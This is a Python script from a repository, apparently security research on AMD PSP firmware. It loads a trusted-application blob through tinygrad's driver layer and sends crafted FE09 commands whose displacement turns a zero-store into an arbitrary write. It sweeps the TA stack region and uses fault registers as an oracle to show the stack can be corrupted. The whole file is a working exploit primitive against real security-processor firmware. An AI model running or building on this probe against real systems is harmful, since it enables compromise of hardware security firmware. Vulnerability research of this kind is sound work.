aboutsummaryrefslogtreecommitdiffstats
path: root/hw/gcp_fe09_stack_write.py
blob: ddb685ed95828238a7c65ff149753c6062945864 (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#!/usr/bin/env python3
"""Can the FE09 zero-write reach the TA's STACK, and do we survive the write?

Static map (SYS_DRV/sOS loader, sos_0.49.0.53):
  - TA image+stack window = VA [0x400000, 0x800000) (sos_map_pages_for_proc: off = v9-0x400000).
  - bl_load_ta_image reserves the TOP 0x20000 of that 4MB window (constraint v43 <= 0x400000-0x20000)
    => stack region [0x7E0000, 0x800000), initial SP ~= 0x800000 growing down.
  - Layout is deterministic (no ASLR): params_VA=0x04013000 fixed across boots/builds.

The store (22.0.0.77 gcp_cmdFE09 = sub_402EBC) at PC 0x402fa0 is:
      *(_DWORD *)((char*)params + displacement + 0x418) = 0;      // v13==0 on reachable paths
It runs UNCONDITIONALLY whenever *(params+0x10) < 0x10000000, regardless of session state, so we
can issue many stores in one session. target = 0x04013000 + 0x418 + D (mod 2^32).

Discriminator via the fault oracle word[2] = faulting PC:
  * no fault, ring alive            -> the zero LANDED on a mapped+writable, currently-dead word.
  * FAULT at PC == 0x402fa0         -> the STORE itself faulted  => target NOT writable (rejected).
  * FAULT at PC != 0x402fa0         -> we got PAST the store; the zero landed and corrupted a LIVE
                                       word (e.g. a saved return address) => STACK IS WRITABLE.

A non-faulting store keeps the ring alive, so we sweep top-down and stop at the first fault.
Positive control first: a store INTO the buffer must land (no fault) and prove the baseline.
"""
import struct, sys
sys.path.insert(0, '/root/psp/hw')
from tinygrad import Device
import tinygrad.runtime.autogen.am.am as am
adev = Device["AMD"].iface.dev_impl
psp = adev.psp

FAULT = [getattr(adev, 'mmMP0_SMN_C2PMSG_%d' % n) for n in range(82, 89)]
def faults(): return tuple(r.read() for r in FAULT)

PARAMS_VA = 0x04013000
BASE = PARAMS_VA + 0x418
STORE_PC = 0x402fa0

def alloc(n):
    pa = adev.mm.palloc(n, align=0x1000, zero=True, boot=False)
    return pa, adev.paddr2mc(pa)

app_pa, app_mc = alloc(0x80000)
blob = open('/root/psp/contall/ta_22-0-0-77_7c426e7f.bin', 'rb').read()
BUFLEN = 0x8000
cp, cmc = alloc(BUFLEN)

def load():
    n = (len(blob) + 3) & ~3
    adev.vram.view(app_pa, n)[:] = blob + b'\x00' * (n - len(blob))
    adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_LOAD_TA); t = c.cmd.cmd_load_ta
    t.app_phy_addr_lo, t.app_phy_addr_hi = app_mc & 0xFFFFFFFF, app_mc >> 32
    t.app_len = len(blob)
    t.cmd_buf_phy_addr_lo, t.cmd_buf_phy_addr_hi = cmc & 0xFFFFFFFF, cmc >> 32
    t.cmd_buf_len = BUFLEN
    try:
        r = psp._ring_submit(c); return r.resp.status & 0xFFFFFFFF, r.resp.session_id
    except Exception as e:
        return -1, None

def fe09(sid, disp):
    buf = bytearray(b'\x00' * BUFLEN)
    struct.pack_into('<I', buf, 0, 0xFE09)
    struct.pack_into('<I', buf, 0x10, 0)                 # v4 = 0  < 0x10000000
    for o in (0x414, 0x818):
        struct.pack_into('<I', buf, o, 0xFFFFFFFB)
    struct.pack_into('<I', buf, 0x820, 1)
    struct.pack_into('<I', buf, 0x828, disp & 0xFFFFFFFF)
    adev.vram.view(cp, BUFLEN)[:] = bytes(buf); adev.gmc.flush_hdp()
    c = am.struct_psp_gfx_cmd_resp(cmd_id=am.GFX_CMD_ID_INVOKE_CMD)
    iv = c.cmd.cmd_invoke_cmd; iv.session_id, iv.ta_cmd_id = sid, 0xFE09
    try:
        return psp._ring_submit(c).resp.status & 0xFFFFFFFF
    except Exception:
        return -1

f0 = faults()
st, sid = load()
print('load status=%#x sid=%s  BUFLEN=%#x  STORE_PC=%#x' % (st, sid, BUFLEN, STORE_PC), flush=True)
if sid is None:
    raise SystemExit('load failed')

# (name, target_VA)   control first, then stack top-down
TARGETS = [
    ('control buffer+0x200', PARAMS_VA + 0x200),
    ('stack 0x7FFF00',       0x7FFF00),
    ('stack 0x7FF000',       0x7FF000),
    ('stack 0x7FE000',       0x7FE000),
    ('stack 0x7FC000',       0x7FC000),
    ('stack 0x7F8000',       0x7F8000),
    ('stack 0x7F0000',       0x7F0000),
    ('stack 0x7E0000',       0x7E0000),
]

print('\n%-24s %-12s %-10s %s' % ('target', 'D', 'status', 'verdict'), flush=True)
for name, t in TARGETS:
    D = (t - BASE) & 0xFFFFFFFF
    st2 = fe09(sid, D)
    f = faults()
    faulted = (st2 == -1) or (f != f0)
    if faulted:
        pc = f[2]; fa = f[4]
        if pc == STORE_PC:
            v = 'FAULT@STORE pc=%#x addr=%#x -> target NOT writable (rejected)' % (pc, fa)
        else:
            v = '*** FAULT@OTHER pc=%#x addr=%#x -> GOT PAST STORE: stack WRITABLE ***' % (pc, fa)
        print('%-24s %#-12x %-10s %s' % (name, D, 'FAULT', v), flush=True)
        break
    else:
        v = 'landed, no fault (dead word) -- writable' if t >= 0x400000 and t < 0x800000 and name.startswith('stack') else 'landed'
        print('%-24s %#-12x %#-10x %s' % (name, D, st2, v), flush=True)
print('\ndone (ring state: %s)' % ('WEDGED' if faults() != f0 else 'alive'), flush=True)